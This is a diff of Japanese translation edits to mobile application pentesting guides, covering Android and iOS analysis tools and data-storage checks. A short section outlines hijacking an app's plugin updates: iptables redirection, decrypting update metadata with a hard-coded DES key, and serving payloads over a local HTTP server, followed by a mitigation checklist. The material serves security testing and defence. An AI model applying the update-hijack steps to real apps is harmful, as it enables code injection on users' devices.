すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちのニーズに応じて分析するための独自のルールを作成できます。
|
||||
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のために独自のルールを作成できます。
|
||||
|
||||
最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
|
||||
```
|
||||
@ -641,13 +641,13 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
|
||||
|
||||
このコンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイル)をStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されるというものです。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
|
||||
|
||||
ダウンロード[最新リリース](https://github.com/vincentcox/StaCoAn/releases):
|
||||
[最新リリースをダウンロード](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\
|
||||
AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\
|
||||
[Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -659,7 +659,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
検出は、アプリケーションのDalvikバイトコードの**静的解析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
|
||||
|
||||
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
|
||||
このツールは、テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行などの**「悪い」アプリケーションの一般的な動作**を探します。
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -667,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
|
||||
**MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。このタスクをモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることを目的としています。
|
||||
|
||||
以下のことが可能です:
|
||||
|
||||
@ -680,7 +680,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### Koodous
|
||||
|
||||
マルウェアを検出するのに役立ちます:[https://koodous.com/](https://koodous.com)
|
||||
マルウェアを検出するのに役立ちます: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## コードの難読化/デオブフスケート
|
||||
|
||||
@ -688,7 +688,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より):**ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
|
||||
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より): **ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンスのバージョン2の下で配布されています。
|
||||
|
||||
ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。
|
||||
|
||||
@ -696,12 +696,12 @@ ProGuardはAndroid SDKの一部として配布され、アプリケーション
|
||||
|
||||
APKをデオブフスケートするためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)で見つけることができます。
|
||||
|
||||
(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした:
|
||||
(そのガイドから) 最後に確認したとき、Dexguardの動作モードは以下の通りでした:
|
||||
|
||||
- リソースをInputStreamとして読み込む;
|
||||
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
|
||||
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う;
|
||||
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
|
||||
- リソースをInputStreamとして読み込む;
|
||||
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
|
||||
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う;
|
||||
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
|
||||
- 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
@ -29,18 +29,18 @@ iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on r
|
||||
```
|
||||
## 2. アップデートメタデータのリバースエンジニアリング
|
||||
|
||||
AnyScanの場合、各アプリの起動は次のHTTPS GETをトリガーします:
|
||||
AnyScanのケースでは、各アプリの起動がHTTPS GETをトリガーします:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
レスポンスボディは、`<FileData>`ノードがすべての利用可能なプラグインを記述した**Base64エンコードされた、DES-ECB暗号化された**JSONを含む**XMLドキュメント**です。
|
||||
レスポンスボディは、すべての利用可能なプラグインを記述した**Base64エンコードされた、DES-ECB暗号化された**JSONを含む**XMLドキュメント**です。
|
||||
|
||||
典型的なハンティングステップ:
|
||||
1. 暗号化ルーチン(例:`RemoteServiceProxy`)を特定し、以下を回復します:
|
||||
* アルゴリズム(DES / AES / RC4 …)
|
||||
* 動作モード(ECB / CBC / GCM …)
|
||||
* ハードコーディングされたキー / IV(通常は定数内の56ビットDESキーまたは128ビットAESキー)
|
||||
2. メタデータを復号化/暗号化するために、Pythonで関数を再実装します:
|
||||
* ハードコーディングされたキー / IV(通常は56ビットDESキーまたは128ビットAESキーが定数に含まれています)
|
||||
2. メタデータを復号化 / 暗号化するために、Pythonで関数を再実装します:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
@ -110,8 +110,8 @@ python3 -m http.server 8000 --directory ./payloads
|
||||
---
|
||||
### 検出と緩和チェックリスト(ブルーチーム)
|
||||
|
||||
* 証明書の検証を無効にするカスタムTrustManager/HostnameVerifierを持つプロダクションビルドを絶対に出荷しないでください。
|
||||
* Google Playの外部から実行可能なコードをダウンロードしないでください。もし*必須*の場合は、各プラグインを同じ**apkSigning v2**キーで署名し、読み込む前に署名を検証してください。
|
||||
* 証明書検証を無効にするカスタムTrustManager/HostnameVerifierを持つプロダクションビルドを絶対に出荷しないでください。
|
||||
* Google Playの外部から実行可能なコードをダウンロードしないでください。もし*必須*であれば、各プラグインに同じ**apkSigning v2**キーで署名し、読み込む前に署名を検証してください。
|
||||
* 弱い/ハードコーディングされた暗号を**AES-GCM**とサーバー側のローテーションキーに置き換えます。
|
||||
* ダウンロードしたアーカイブの整合性を検証します(署名または少なくともSHA-256)。
|
||||
|
||||
|
@ -39,9 +39,9 @@ basic-ios-testing-operations.md
|
||||
|
||||
IPAファイルに対して自動静的分析を実行するために、ツール[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)を使用することをお勧めします。
|
||||
|
||||
**バイナリに存在する保護の識別**:
|
||||
**バイナリに存在する保護の特定**:
|
||||
|
||||
- **PIE (Position Independent Executable)**: 有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測するのが難しくなります。
|
||||
- **PIE (Position Independent Executable)**: 有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # PIEフラグが含まれている必要があります
|
||||
@ -65,7 +65,7 @@ otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルが含
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptidは1である必要があります
|
||||
```
|
||||
|
||||
**敏感/不安全な関数の識別**
|
||||
**敏感/不安全な関数の特定**
|
||||
|
||||
- **弱いハッシュアルゴリズム**
|
||||
|
||||
@ -139,7 +139,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
`frida-ps -Uai`コマンドを使用して、インストールされたアプリの**バンドル識別子**を特定します:
|
||||
インストールされたアプリの**バンドル識別子**を特定するには、コマンド`frida-ps -Uai`を使用します:
|
||||
```bash
|
||||
$ frida-ps -Uai
|
||||
PID Name Identifier
|
||||
@ -168,13 +168,13 @@ ios-hooking-with-objection.md
|
||||
- **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。
|
||||
- **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。
|
||||
- **`Frameworks/`**: このフォルダには、`.dylib`または`.framework`ファイルの形式でアプリケーションのネイティブライブラリが格納されています。
|
||||
- **`PlugIns/`**: これはアプリケーションの拡張機能を含む場合があり、`.appex`ファイルとして知られていますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
|
||||
- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプとクリエイターコードを指定するための代替手段です。
|
||||
- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。
|
||||
- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドル内のすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。
|
||||
- **アセット管理**: `Assets.car`ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
|
||||
- **FrameworksとPlugIns**: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ(`Frameworks/`)を含めたり、アプリの機能を拡張したりすることを可能にします。
|
||||
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションのリーチを促進します。
|
||||
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションの展開を促進します。
|
||||
|
||||
**Info.plist**
|
||||
|
||||
@ -186,12 +186,12 @@ ios-hooking-with-objection.md
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
- **Linuxの場合**:
|
||||
- **Linux用**:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Info.plist**ファイルが明らかにできる膨大な情報の中で、注目すべき項目にはアプリの権限文字列(`UsageDescription`)、カスタムURLスキーム(`CFBundleURLTypes`)、およびApp Transport Securityの設定(`NSAppTransportSecurity`)が含まれます。これらの項目は、エクスポート/インポートされたカスタムドキュメントタイプ(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`)などの他の項目とともに、ファイルを検査するか、単純な`grep`コマンドを使用することで簡単に見つけることができます。
|
||||
**Info.plist** ファイルが明らかにできる膨大な情報の中で、注目すべきエントリにはアプリの権限文字列 (`UsageDescription`)、カスタムURLスキーム (`CFBundleURLTypes`)、およびアプリトランスポートセキュリティの設定 (`NSAppTransportSecurity`) が含まれます。これらのエントリは、エクスポート/インポートされたカスタムドキュメントタイプ (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) のような他のエントリとともに、ファイルを検査するか、単純な `grep` コマンドを使用することで簡単に見つけることができます。
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -227,7 +227,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
**バンドルディレクトリ:**
|
||||
|
||||
- **AppName.app**
|
||||
- これはIPAで以前に見たアプリケーションバンドルで、アプリケーションの重要なデータ、静的コンテンツ、およびアプリケーションのコンパイル済みバイナリを含んでいます。
|
||||
- これはIPAで以前に見たアプリケーションバンドルで、重要なアプリケーションデータ、静的コンテンツ、およびアプリケーションのコンパイル済みバイナリを含みます。
|
||||
- このディレクトリはユーザーに見えますが、**ユーザーは書き込むことができません**。
|
||||
- このディレクトリの内容は**バックアップされません**。
|
||||
- このフォルダの内容は**コード署名を検証するため**に使用されます。
|
||||
@ -240,7 +240,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- このディレクトリの内容は**バックアップされます**。
|
||||
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
|
||||
- **Library/**
|
||||
- **キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)設定ファイルなど、**ユーザー固有でないすべてのファイル**を含みます。
|
||||
- **キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)設定ファイルなど、**ユーザー固有でない**すべての**ファイル**を含みます。
|
||||
- iOSアプリは通常`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。
|
||||
- **Library/Caches/**
|
||||
- **半永続的なキャッシュファイル**を含みます。
|
||||
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
|
||||
```
|
||||
### バイナリリバース
|
||||
|
||||
`<application-name>.app` フォルダー内には `<application-name>` というバイナリファイルがあります。これが **実行される** ファイルです。ツール **`otool`** を使用してバイナリの基本的な検査を行うことができます:
|
||||
`<application-name>.app` フォルダー内には `<application-name>` というバイナリファイルがあります。これは **実行される** ファイルです。ツール **`otool`** を使用してバイナリの基本的な検査を行うことができます:
|
||||
```bash
|
||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
@ -375,7 +375,7 @@ ios-basics.md
|
||||
|
||||
plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`**のアプリサンドボックス内に保存されます。
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは、**plist** **ファイル**に**データ**を保存しますが、少量のデータで使用することを意図しています。
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは**plist** **ファイル**に**データ**を保存しますが、少量のデータで使用することを意図しています。
|
||||
|
||||
このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、**バックアップ**を行うことでアクセスできます。
|
||||
|
||||
@ -385,9 +385,9 @@ plistファイルにデータを永続化する最も一般的な方法は、**N
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
ファイルを**XMLまたはバイナリ(bplist)**形式からXMLに変換するためのさまざまな方法が、オペレーティングシステムに応じて利用可能です。
|
||||
ファイルを**XMLまたはバイナリ(bplist)**形式からXMLに変換するために、オペレーティングシステムに応じたさまざまな方法が利用可能です:
|
||||
|
||||
**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれているツールで、この目的のために設計されています:
|
||||
**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれているツールで、この目的のために設計されています:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
@ -433,20 +433,20 @@ NSLog(@"data stored in core data");
|
||||
```
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase)は、SQLiteの上に構築されたキー/バリューストアです。\
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) は、SQLiteの上に構築されたキー/バリューストアです。\
|
||||
Yapデータベースはsqliteデータベースであるため、前のセクションで提案されたコマンドを使用して見つけることができます。
|
||||
|
||||
### Other SQLite Databases
|
||||
|
||||
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を保存しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない場合があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase Real-Time Databases
|
||||
|
||||
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、すべての接続されたクライアントにリアルタイムで同期されます。
|
||||
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。
|
||||
|
||||
Firebaseデータベースの設定ミスを確認する方法は、こちらで確認できます:
|
||||
誤って構成されたFirebaseデータベースを確認する方法は、こちらで見つけることができます:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**で**組み込み型**のデータベースエンジンであり、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**および**macOS**にネイティブに設計されており、データをシームレスに同期する機能を提供します。
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**で**組み込み**のデータベースエンジンとして説明されており、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**および**macOS**にネイティブに設計されており、データをシームレスに同期する機能を提供します。
|
||||
|
||||
デバイス上の潜在的なCouchbaseデータベースを特定するには、次のディレクトリを検査する必要があります:
|
||||
```bash
|
||||
@ -506,11 +506,11 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
|
||||
}
|
||||
]
|
||||
```
|
||||
### キャッシュ
|
||||
### Cache
|
||||
|
||||
デフォルトでは、NSURLSessionは**Cache.db**データベースにHTTPリクエストやレスポンスなどのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開き、操作できます。これは**通常のSQLiteデータベース**です。
|
||||
デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開いて操作できます。これは**通常のSQLiteデータベース**です。
|
||||
|
||||
このデータのキャッシングを無効にすることを**推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
|
||||
このデータのキャッシングを無効にすることを**推奨**します。リクエストまたはレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
|
||||
|
||||
1. ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)メソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます:
|
||||
|
||||
@ -522,19 +522,19 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
|
||||
|
||||
[Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`エフェメラルセッション構成オブジェクトは、デフォルトのセッション構成(デフォルトを参照)に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。エフェメラルセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。`
|
||||
`エフェメラルセッション構成オブジェクトは、デフォルトのセッション構成(デフォルトを参照)に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはディスクにセッション関連データを保存しません。代わりに、セッション関連データはRAMに保存されます。エフェメラルセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。`
|
||||
|
||||
3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することでもキャッシュを無効にできます。これにより、メモリまたはディスクのいずれかにキャッシュを保存することが無効になります。
|
||||
|
||||
### スナップショット
|
||||
### Snapshots
|
||||
|
||||
ホームボタンを押すと、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**超えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
|
||||
ホームボタンを押すたびに、iOSは**現在の画面のスナップショット**を取得し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**超えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
|
||||
|
||||
iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます(信頼されたコンピュータはiOS 7.0以降からファイルシステムにアクセスできません)。
|
||||
|
||||
この悪影響を防ぐ方法の一つは、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に空白の画面を表示するか、機密データを削除することです。
|
||||
この悪影響を防ぐ方法の1つは、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に、空白の画面を表示するか、機密データを削除することです。
|
||||
|
||||
以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。
|
||||
以下は、デフォルトのスクリーンショットを設定するサンプル修正方法です。
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -566,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
これは、アプリケーションがバックグラウンドに移行するたびに背景画像を `overlayImage.png` に設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。
|
||||
これは、アプリケーションがバックグラウンドに入るときに `overlayImage.png` を背景画像として設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。
|
||||
|
||||
### Keychain
|
||||
|
||||
@ -574,22 +574,22 @@ iOSキーチェーンにアクセスし管理するためのツールとして
|
||||
|
||||
#### **資格情報の保存**
|
||||
|
||||
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、次のSwiftコードが使用されます:
|
||||
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、以下のSwiftコードが使用されます:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
これらの保存された認証情報を抽出するために、Objectionのコマンド `ios nsurlcredentialstorage dump` が利用されます。
|
||||
これらの保存された資格情報を抽出するために、Objectionのコマンド `ios nsurlcredentialstorage dump` が利用されます。
|
||||
|
||||
## **カスタムキーボードとキーボードキャッシュ**
|
||||
|
||||
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能が拡張されていますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力に対してカスタムキーボードの使用を制限するべきです。
|
||||
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能が拡張されますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。
|
||||
|
||||
**セキュリティ推奨事項:**
|
||||
|
||||
- セキュリティを強化するために、サードパーティ製キーボードを無効にすることが推奨されます。
|
||||
- デフォルトのiOSキーボードの自動修正および自動提案機能に注意してください。これにより、`Library/Keyboard/{locale}-dynamic-text.dat` または `/private/var/mobile/Library/Keyboard/dynamic-text.dat` に保存された機密情報がキャッシュファイルに格納される可能性があります。これらのキャッシュファイルは、機密データのために定期的にチェックする必要があります。キャッシュデータをクリアするために、**設定 > 一般 > リセット > キーボード辞書をリセット** することが推奨されます。
|
||||
- デフォルトのiOSキーボードの自動修正および自動提案機能に注意してください。これにより、`Library/Keyboard/{locale}-dynamic-text.dat` または `/private/var/mobile/Library/Keyboard/dynamic-text.dat` にあるキャッシュファイルに機密情報が保存される可能性があります。これらのキャッシュファイルは、機密データのために定期的にチェックする必要があります。キャッシュデータをクリアするために、**設定 > 一般 > リセット > キーボード辞書をリセット** でキーボード辞書をリセットすることが推奨されます。
|
||||
- ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキー入力を送信しているかどうかを確認できます。
|
||||
|
||||
### **テキストフィールドキャッシュの防止**
|
||||
@ -606,9 +606,9 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **ログ**
|
||||
|
||||
コードのデバッグにはしばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリがアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
|
||||
コードのデバッグにはしばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリにアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
|
||||
|
||||
これらの制限にもかかわらず、**物理的にアクセスできる**攻撃者は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスクに残ることに注意が必要です。
|
||||
これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスク上に残ることに注意が必要です。
|
||||
|
||||
リスクを軽減するために、**アプリと徹底的に対話し**、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。
|
||||
|
||||
